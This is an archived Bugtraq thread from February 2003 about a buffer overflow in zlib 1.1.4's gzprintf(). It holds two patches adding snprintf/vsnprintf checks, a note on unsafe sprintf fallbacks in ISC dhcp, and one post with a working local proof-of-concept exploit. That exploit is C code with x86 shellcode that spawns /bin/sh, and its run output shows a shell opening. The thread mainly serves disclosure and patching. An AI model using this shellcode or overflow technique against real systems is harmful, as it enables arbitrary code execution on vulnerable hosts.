91505 2003-02-24  18:47  /43 rader/ Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe>
Importerad: 2003-02-24  18:47  av Brevbäraren
Extern mottagare: Richard Kettlewell <rjk@greenend.org.uk>
Mottagare: Bugtraq (import) <3629>
Ärende: Re: buffer overrun in zlib 1.1.4
------------------------------------------------------------
> There is an internal #define (HAS_vsnprintf) that causes it to use
> vsnprintf() instead of vsprintf(), but this is not enabled by default,
> not tested for by the configure script, and not documented.

the configure script on zlib is not generated by autoconf and is
optional when building; therefore there is no config.h, and the
included file "zconf.h" that is the one used for system related
configuration is static.

something interesting though, is that the preprocessor variables
being tested are HAVE_* instead of HAS_* (HAS_vsnprintf and
HAS_snprintf), as  the ones found on gzio.c, what could help to
explain why it is not  documented, neither tested for.

from the Changelog it seems those functions were added on version
1.0.6 (Jan 19, 1998) by Roland Giersig and Kevin Ruland, and probably
they never  included the test on configure for that.

> Even if it was documented, tested for, or whatever, it is unclear what
> platforms without vsnprintf() are supposed to do.  Put up with the
> security hole, perhaps.

from the code it seems that they are supposed to use vsprintf (on an 
ANSI C environment) or sprintf (if not ANSI C).

on any case, long strings will be silently truncated and overflows are 
possible as the one you coded

> Finally, with HAS_vsnprintf defined, long strings will be silently
> truncated (and this isn't documented anywhere).  Unexpected truncation
> of strings can have security implications too; I seem to recall that a
> popular MTA had trouble with over-long HELO strings for instance.

the attached patch fixes both of the problems, even if it breaks on 
systems with a broken [v]snprintf (any one yet?) and that could be 
considered a prerequisite for building, probably using a custom made 
[v]snprintf implementation like the one on :

  http://www.ijs.si/software/snprintf/

regards,

Carlo
(91505) /Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe>/(Ombruten)
Bilaga (text/plain) i text 91506
91506 2003-02-24  18:47  /97 rader/ Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe>
Bilagans filnamn: "zlib-1.1.4-vsnprintf.patch"
Importerad: 2003-02-24  18:47  av Brevbäraren
Extern mottagare: Richard Kettlewell <rjk@greenend.org.uk>
Mottagare: Bugtraq (import) <3630>
Bilaga (text/plain) till text 91505
Ärende: Bilaga (zlib-1.1.4-vsnprintf.patch) till: Re: buffer overrun in zlib 1.1.4
------------------------------------------------------------
diff -ur zlib-1.1.4/configure zlib-1.1.4-vsnprintf/configure
--- zlib-1.1.4/configure	Wed Jul  8 13:19:35 1998
+++ zlib-1.1.4-vsnprintf/configure	Mon Feb 24 00:06:55 2003
@@ -167,6 +167,54 @@
 fi
 
 cat > $test.c <<EOF
+#include <stdio.h>
+#include "zconf.h"
+
+#ifdef STDC
+
+#include <stdarg.h> 
+
+int test (const char *format, /* args */ ...)
+{
+  char buf[10];
+  va_list va;
+  int len;
+
+  va_start(va, format);
+  len = vsnprintf(buf, sizeof(buf), format, va);
+  va_end(va);
+
+  return len;
+}
+
+#else /* not ANSI C */
+
+int test(format, a1, a2)
+  const char *format;
+  int a1, a2;
+{
+  char buf[10];
+  int len;
+
+  len = snprintf(buf, sizeof(buf), format, a1, a2);
+
+  return len;
+}
+#endif
+
+int main(void)
+{
+  exit(0);
+}
+EOF
+if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+  CFLAGS="$CFLAGS -DHAS_vsnprintf -DHAS_snprintf"
+  echo Checking for [v]snprintf support... Yes.
+else
+  echo Checking for [v]snprintf support... No.
+fi
+
+cat > $test.c <<EOF
 #include <sys/types.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff -ur zlib-1.1.4/gzio.c zlib-1.1.4-vsnprintf/gzio.c
--- zlib-1.1.4/gzio.c	Mon Mar 11 08:16:01 2002
+++ zlib-1.1.4-vsnprintf/gzio.c	Mon Feb 24 07:48:36 2003
@@ -530,13 +530,12 @@
 
     va_start(va, format);
 #ifdef HAS_vsnprintf
-    (void)vsnprintf(buf, sizeof(buf), format, va);
+    len = vsnprintf(buf, sizeof(buf), format, va);
 #else
-    (void)vsprintf(buf, format, va);
+    len = vsprintf(buf, format, va);
 #endif
     va_end(va);
-    len = strlen(buf); /* some *sprintf don't return the nb of bytes written */
-    if (len <= 0) return 0;
+    if ((len <= 0) || (len >= Z_PRINTF_BUFSIZE)) return 0;
 
     return gzwrite(file, buf, (unsigned)len);
 }
@@ -553,14 +552,13 @@
     int len;
 
 #ifdef HAS_snprintf
-    snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
+    len = snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
 	     a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
 #else
-    sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
+    len = sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
 	    a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
 #endif
-    len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */
-    if (len <= 0) return 0;
+    if ((len <= 0) || (len >= Z_PRINTF_BUFSIZE)) return 0;
 
     return gzwrite(file, buf, len);
 }
(91506) /Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe>/
91514 2003-02-24  19:15  /83 rader/ Crazy Einstein <crazy_einstein@yahoo.com>
Importerad: 2003-02-24  19:15  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3636>
Ärende: poc zlib sploit just for fun :)
------------------------------------------------------------

/*
\   PoC local exploit for zlib <= 1.1.4
/      just for fun..not for root :)
\
/   Usage: gcc -o zlib zlib.c -lz
\
/   by CrZ [crazy_einstein@yahoo.com] lbyte
[lbyte.void.ru]
*/


#include <zlib.h>
#include <errno.h>
#include <stdio.h>


int main(int argc, char **argv) {
        char shell[]=
                "\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
                "\xc0\x88\x43\x07\x89\x5b\x08\x89"
                "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
                "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
                "/bin/sh";
        gzFile f;
        int ret;
        long xret;
        char cret[10];
        char badbuff[10000];
        int i;

        sprintf(badbuff,"%p",shell);
        sscanf(badbuff,"0x%x",&xret);

        printf("[>] exploiting...\n");

        if(!(f = gzopen("/dev/null", "w"))) {
                perror("/dev/null");
                exit(1);
        }

        printf("[>] xret = 0x%x\n",xret);

       
sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
                       
(xret>>16)&0xff,(xret>>24)&0xff);

        bzero(badbuff,sizeof(badbuff));

        for(i=0;i<5000;i+=4) strcat(badbuff,cret);

        setuid(0);
        setgid(0);
        ret = gzprintf(stderr, "%s", badbuff );
        setuid(0);
        setgid(0);
        printf(">Sent!..\n");
        printf("gzprintf -> %d\n", ret);
        ret = gzclose(f);
        printf("gzclose -> %d [%d]\n", ret, errno);

        exit(0);
}


[crz@blacksand crz]$ gcc -o zlib zlib.c -lz
[crz@blacksand crz]$ ./zlib
[>] exploiting...
[>] xret = 0xbffff8f0
sh-2.05b$ exit
exit
[crz@blacksand crz]$



__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/
(91514) /Crazy Einstein <crazy_einstein@yahoo.com>/-
Kommentar i text 91689 av Kelledin <kelledin+BTQ@skarpsey.dyndns.org>
91689 2003-02-25  18:53  /89 rader/ Kelledin <kelledin+BTQ@skarpsey.dyndns.org>
Importerad: 2003-02-25  18:53  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3672>
Kommentar till text 91514 av Crazy Einstein <crazy_einstein@yahoo.com>
Ärende: Re: poc zlib sploit just for fun :)
------------------------------------------------------------
On Sunday 23 February 2003 12:38 pm, Crazy Einstein wrote:
> /*
> \   PoC local exploit for zlib <= 1.1.4
> /      just for fun..not for root :)
> \
> /   Usage: gcc -o zlib zlib.c -lz
> \
> /   by CrZ [crazy_einstein@yahoo.com] lbyte
> [lbyte.void.ru]
> */

Ok, one simple proof of concept is enough.  A second potentially 
dangerous one (even for fun)...time to address this. ;)

Attached below is a patch RK and I whipped up yesterday, after I 
caught wind of this problem sometime in the afternoon.  It adds 
extra code to properly gather the vsnprintf() return code if 
available, and some ./configure checks to automatically set 
macro definitions when it detects the requisite features.  zlib 
will still build if the host doesn't have the requisite 
functions for full security, but ./configure will tell you about 
how far you're bending over.  The patch went through two 
revisions to get to this level of completeness; it works as it 
should on Linux==2.4.18/glibc>=2.2.5 but has not been tested on 
other platforms.

RK and I both considered just completely dropping the vulnerable 
codepaths; environments where zlib would have to fall back to 
these codepaths honestly just don't deserve breathing rights.  
But...I figure a fix isn't truly robust unless the fixed product 
will still build on all the systems where it would build before.  
At least now zlib builds secure-where-possible, instead of 
broken-by-default.

During zlib ./configure, you should now see the following lines:

Checking whether to use vsnprintf() or snprintf()... using \
    vsnprintf()
Checking for vsnprintf() in stdio.h... Yes.
Checking for return value of vsnprintf()... Yes.

> #include <zlib.h>
> #include <errno.h>
> #include <stdio.h>
 <snip harmless but potentially wicked Proof-of-Concept code>
>
>
> [crz@blacksand crz]$ gcc -o zlib zlib.c -lz
> [crz@blacksand crz]$ ./zlib
> [>] exploiting...
> [>] xret = 0xbffff8f0
> sh-2.05b$ exit
> exit
> [crz@blacksand crz]$

On vulnerable system:

[ kelledin@valhalla ~ ] # gcc -o zlibexp zlibexp.c -lz
[ kelledin@valhalla ~ ] # ./zlibexp
[>] exploiting...
[>] xret = 0xbffffaf0
sh-2.05a$ exit
exit
[ kelledin@valhalla ~ ] #

On patched system:

[ kelledin@valhalla /usr/src ] # ./zlibexp
[>] exploiting...
[>] xret = 0xbffffb50
>Sent!..
gzprintf -> 0
gzclose -> 0 [1]
[ kelledin@valhalla /usr/src ] #

The vulnerability consists of a buffer overflow and a 
string-format vulnerability (in case something feeds '("Hello%c 
there\n", '\0')' to gzprintf).  Both should be fixed by the 
patch below.   How exploitable is this?  Well, not very.  The 
gzprintf() function is seldom used, even on a fully loaded 
system, so a would-be 0wner would likely have to code his own 
app and trick the 0wnee into running it.  I've got reliable 
anecdotal evidence that ImageMagick calls gzprintf(), though I 
haven't checked for myself.

-- 
Kelledin
"If a server crashes in a server farm and no one pings it, does 
it still cost four figures to fix?"
(91689) /Kelledin <kelledin+BTQ@skarpsey.dyndns.org>/
Bilaga (text/x-diff) i text 91690
91690 2003-02-25  18:53  /352 rader/ Kelledin <kelledin+BTQ@skarpsey.dyndns.org>
Bilagans filnamn: "zlib-1.1.4-3-vsnprintf.patch"
Importerad: 2003-02-25  18:53  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3673>
Bilaga (text/plain) till text 91689
Ärende: Bilaga (zlib-1.1.4-3-vsnprintf.patch) till: Re: poc zlib sploit just for fun :)
------------------------------------------------------------
diff -Naur zlib-1.1.4/ChangeLog zlib-1.1.4-vsnprintf/ChangeLog
--- zlib-1.1.4/ChangeLog	2002-03-11 15:02:35.000000000 +0000
+++ zlib-1.1.4-vsnprintf/ChangeLog	2003-02-24 05:31:41.000000000 +0000
@@ -1,6 +1,13 @@
 
 		ChangeLog file for zlib
 
+Changes in 1.1.4-patched (23 February 2003)
+- fix a security vulnerability related to improper use of
snprintf/vsnprintf
+  function.
+- ./configure now detects the presence of snprintf/vsnprintf and
enables it
+  automatically if present.
+- README.vsnprintf added.
+
 Changes in 1.1.4 (11 March 2002)
 - ZFREE was repeated on same allocation on some error conditions.
   This creates a security problem described in diff -Naur
zlib-1.1.4/README.vsnprintf zlib-1.1.4-vsnprintf/README.vsnprintf
--- zlib-1.1.4/README.vsnprintf	1970-01-01 00:00:00.000000000 +0000
+++ zlib-1.1.4-vsnprintf/README.vsnprintf	2003-02-24 05:13:28.000000000 +0000
@@ -0,0 +1,23 @@
+During a recent audit of zlib-1.1.4, a buffer-overflow and
string-format
+vulnerability was found in the gzprintf() function.  This has been
corrected in
+this version of zlib; in addition, some ./configure checks have been
added to
+make sure the host system can utilize the corrections fully.
+
+As a result, it is now strongly recommended that your host system or
compiler
+provide a fully C99-compliant implementation of the vsnprintf()
function.
+Anything less will reduce the functionality and/or security of the
gzprintf()
+function.  The most critical aspect is that vsnprintf() should be
present and
+should provide a return value.  If this function is missing, one of
the
+fallback functions (vsprintf(), snprintf(), vsnprintf()) will have
to be used,
+and if so, they too should return a value.  If your system is
lacking in any of
+these aspects, the ./configure script should warn you and refer you
to this
+file.
+
+In addition, the HAS_vsnprintf and HAS_snprintf macros are
automatically
+defined if these functions are available.  zlib-1.1.4 and older
versions did
+not do this, potentially leading to a broken and vulnerable zlib
even when the
+host system supported the requisite functionality to avoid this.
+
+
+                                  -- Kelledin <kelledin@users.sourceforge.net>
+
diff -Naur zlib-1.1.4/configure zlib-1.1.4-vsnprintf/configure
--- zlib-1.1.4/configure	1998-07-08 18:19:35.000000000 +0000
+++ zlib-1.1.4-vsnprintf/configure	2003-02-24 05:13:28.000000000 +0000
@@ -156,6 +156,209 @@
 fi
 
 cat > $test.c <<EOF
+#include <stdio.h>
+
+#if (defined(__MSDOS__) || defined(_WINDOWS) || defined(_WIN32) ||
defined(__WIN32__) || defined(WIN32) || defined(__STDC__) ||
defined(__cplusplus) || defined(__OS2__)) && !defined(STDC)
+#  define STDC
+#endif
+
+int main() {
+  int i;
+
+  i=0;
+#ifndef STDC
+  choke me
+#endif
+
+  return 0;
+}
+EOF
+
+if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+  echo "Checking whether to use vsnprintf() or snprintf()... using
vsnprintf()"
+
+  cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest(char *fmt, ...) {
+  char buf[20];
+  va_list ap;
+
+  va_start(ap, fmt);
+  vsnprintf(buf, sizeof(buf), fmt, ap);
+  return 0;
+}
+
+int main() {
+  return (mytest("Hello%d\n", 1));
+}
+EOF
+
+  if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+    CFLAGS="$CFLAGS -DHAS_vsnprintf"
+    echo "Checking for vsnprintf() in stdio.h... Yes."
+
+    cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest(char *fmt, ...) {
+  int i;
+  char buf[20];
+  va_list ap;
+
+  va_start(ap, fmt);
+  i=vsnprintf(buf, sizeof(buf), fmt, ap);
+  return 0;
+}
+
+int main() {
+  return (mytest("Hello%d\n", 1));
+}
+EOF
+
+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+      CFLAGS="$CFLAGS -DHAS_vsnprintf_return"
+      echo "Checking for return value of vsnprintf()... Yes."
+    else
+      echo "Checking for return value of vsnprintf()... No."
+      echo "  WARNING: apparently vsnprintf() does not return a value.  zlib"
+      echo "  can build but will be open to possible string-format security"
+      echo "  vulnerabilities.  See README.vsnprintf for more info."
+      echo
+    fi
+  else
+    echo "Checking for vsnprintf() in stdio.h... No."
+    echo "  WARNING: vsnprintf() not found, falling back to vsprintf().  zlib"
+    echo "  can build but will be open to possible buffer-overflow security"
+    echo "  vulnerabilities.  See README.vsnprintf for more info."
+    echo
+
+    cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest(char *fmt, ...) {
+  int i;
+  char buf[20];
+  va_list ap;
+
+  va_start(ap, fmt);
+  i=vsprintf(buf, fmt, ap);
+  return 0;
+}
+
+int main() {
+  return (mytest("Hello%d\n", 1));
+}
+EOF
+
+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+      CFLAGS="$CFLAGS -DHAS_vsprintf_return"
+      echo "Checking for return value of vsprintf()... Yes."
+    else
+      echo "Checking for return value of vsprintf()... No."
+      echo "  WARNING: apparently vsprintf() does not return a value.  zlib"
+      echo "  can build but will be open to possible string-format security"
+      echo "  vulnerabilities.  See README.vsnprintf for more info."
+      echo
+    fi
+  fi
+else
+  echo "Checking whether to use vsnprintf() or snprintf()... using
snprintf()"
+
+  cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest() {
+  char buf[20];
+  va_list ap;
+
+  va_start(ap, fmt);
+  snprintf(buf, sizeof(buf), fmt, ap);
+  return 0;
+}
+
+int main() {
+  return (mytest());
+}
+EOF
+
+  if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+    CFLAGS="$CFLAGS -DHAS_snprintf"
+    echo "Checking for snprintf() in stdio.h... Yes."
+
+    cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest() {
+  int i;
+  char buf[20];
+  va_list ap;
+
+  va_start(ap, fmt);
+  i=snprintf(buf, sizeof(buf), fmt, ap);
+  return 0;
+}
+
+int main() {
+  return (mytest());
+}
+EOF
+
+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+      CFLAGS="$CFLAGS -DHAS_snprintf_return"
+      echo "Checking for return value of snprintf()... Yes."
+    else
+      echo "Checking for return value of snprintf()... No."
+      echo "  WARNING: apparently snprintf() does not return a value.  zlib"
+      echo "  can build but will be open to possible string-format security"
+      echo "  vulnerabilities.  See README.vsnprintf for more info."
+      echo
+    fi
+  else
+    echo "Checking for snprintf() in stdio.h... No."
+    echo "  WARNING: snprintf() not found, falling back to sprintf().  zlib"
+    echo "  can build but will be open to possible buffer-overflow security"
+    echo "  vulnerabilities.  See README.vsnprintf for more info."
+    echo
+
+    cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest() {
+  int i;
+  char buf[20];
+  va_list ap;
+
+  va_start(ap, fmt);
+  i=sprintf(buf, fmt, ap);
+  return 0;
+}
+
+int main() {
+  return (mytest());
+}
+EOF
+
+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+      CFLAGS="$CFLAGS -DHAS_sprintf_return"
+      echo "Checking for return value of sprintf()... Yes."
+    else
+      echo "Checking for return value of sprintf()... No."
+      echo "  WARNING: apparently sprintf() does not return a value.  zlib"
+      echo "  can build but will be open to possible string-format security"
+      echo "  vulnerabilities.  See README.vsnprintf for more info."
+      echo
+    fi
+  fi
+fi
+
+cat > $test.c <<EOF
 #include <errno.h>
 int main() { return 0; }
 EOF
diff -Naur zlib-1.1.4/gzio.c zlib-1.1.4-vsnprintf/gzio.c
--- zlib-1.1.4/gzio.c	2002-03-11 13:16:01.000000000 +0000
+++ zlib-1.1.4-vsnprintf/gzio.c	2003-02-24 05:18:44.000000000 +0000
@@ -529,14 +529,42 @@
     int len;
 
     va_start(va, format);
+
+    /* 2003/02/23: Add proper length checking here, if possible.
+     *
+     *    -- Kelledin
+     */
 #ifdef HAS_vsnprintf
-    (void)vsnprintf(buf, sizeof(buf), format, va);
+#  ifdef HAS_vsnprintf_return
+    len=vsnprintf(buf, sizeof(buf), format, va);
+    va_end(va);
+
+    if (len <= 0 || len >= sizeof(buf)) {
+        /* Resulting string too large to fit in the buffer. */
+        return 0;
+    }
+#  else
+    vsnprintf(buf, sizeof(buf), format, va);
+    va_end(va);
+    len=strlen(buf);
+    if (len <= 0) return 0;
+#  endif
 #else
-    (void)vsprintf(buf, format, va);
-#endif
+#  ifdef HAS_vsprintf_return
+    len=vsprintf(buf, format, va);
+    va_end(va);
+
+    if (len <= 0 || len >= sizeof(buf)) {
+        /* Resulting string too large to fit in the buffer. */
+        return 0;
+    }
+#  else
+    vsprintf(buf, format, va);
     va_end(va);
-    len = strlen(buf); /* some *sprintf don't return the nb of bytes written */
+    len=strlen(buf);
     if (len <= 0) return 0;
+#  endif
+#endif
 
     return gzwrite(file, buf, (unsigned)len);
 }
@@ -552,15 +580,41 @@
     char buf[Z_PRINTF_BUFSIZE];
     int len;
 
+    /* 2003/02/23: Add proper length checking here when possible.
+     *
+     *    -- Kelledin
+     */
 #ifdef HAS_snprintf
+#  ifdef HAS_snprintf_return
+    len=snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
+	         a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
+
+    if (len <= 0 || len >= sizeof(buf)) {
+        /* Resulting string too large to fit in the buffer. */
+        return 0;
+    }
+#  else
     snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
 	     a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
+    len=strlen(buf);
+    if (len <= 0) return 0;
+#  endif
 #else
+#  ifdef HAS_sprintf_return
+    len=sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
+	        a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
+
+    if (len <= 0 || len >= sizeof(buf)) {
+        /* Resulting string too large to fit in the buffer. */
+        return 0;
+    }
+#  else
     sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
 	    a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
-#endif
-    len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */
+    len=strlen(buf);
     if (len <= 0) return 0;
+#  endif
+#endif
 
     return gzwrite(file, buf, len);
 }
(91690) /Kelledin <kelledin+BTQ@skarpsey.dyndns.org>/(Ombruten)
91538 2003-02-24  23:00  /38 rader/ Thamer Al-Harbash <tmh@whitefang.com>
Importerad: 2003-02-24  23:00  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3651>
Ärende: Re: buffer overrun in zlib 1.1.4
------------------------------------------------------------
On Sat, 22 Feb 2003, Richard Kettlewell wrote:

> There is an internal #define (HAS_vsnprintf) that causes it to use
> vsnprintf() instead of vsprintf(), but this is not enabled by default,
> not tested for by the configure script, and not documented.

This is a fairly normal (and somewhat frightening) practice I've
seen in several popular packages.

Last I checked ISC dhcp has a #define for vsnprintf to be
vsprintf if the UNIX flavor did not support snprintf.

medusa: {29} cd dhcp-3.0pl2
medusa: {30} grep sprintf `find . -name "*.h"` | tail -10
./includes/cf/qnx.h:# define vsnprintf( buf, size, fmt, list )  vsprintf( buf, fbuf, list )
./includes/cf/sample.h:   sprintf functions which will deposit a limited number of characters
./includes/cf/sample.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list)
./includes/cf/sco.h:/* SCO doesn't support limited sprintfs. */
./includes/cf/sco.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list)
./includes/cf/sunos4.h:/* SunOS doesn't support limited sprintfs. */
./includes/cf/sunos4.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list)
./includes/cf/sunos5-5.h:/* Solaris doesn't support limited sprintfs. */
./includes/cf/sunos5-5.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list)
./includes/cf/ultrix.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list)

I know that Ted Lemon, the primary author, is aware this. I've
mentioned it to him a while ago. I am also not aware of this
causing any security holes; although I honestly have not given
his source a security audit.

There are replacement 'snprintf' packages which avoid
this. Patrick Powell's replacement is used in Mutt (a popular
MUA) and has a very liberal license.

-- 
Thamer Al-Harbash            http://www.whitefang.com/
          team dresch made me do it
(91538) /Thamer Al-Harbash <tmh@whitefang.com>/-----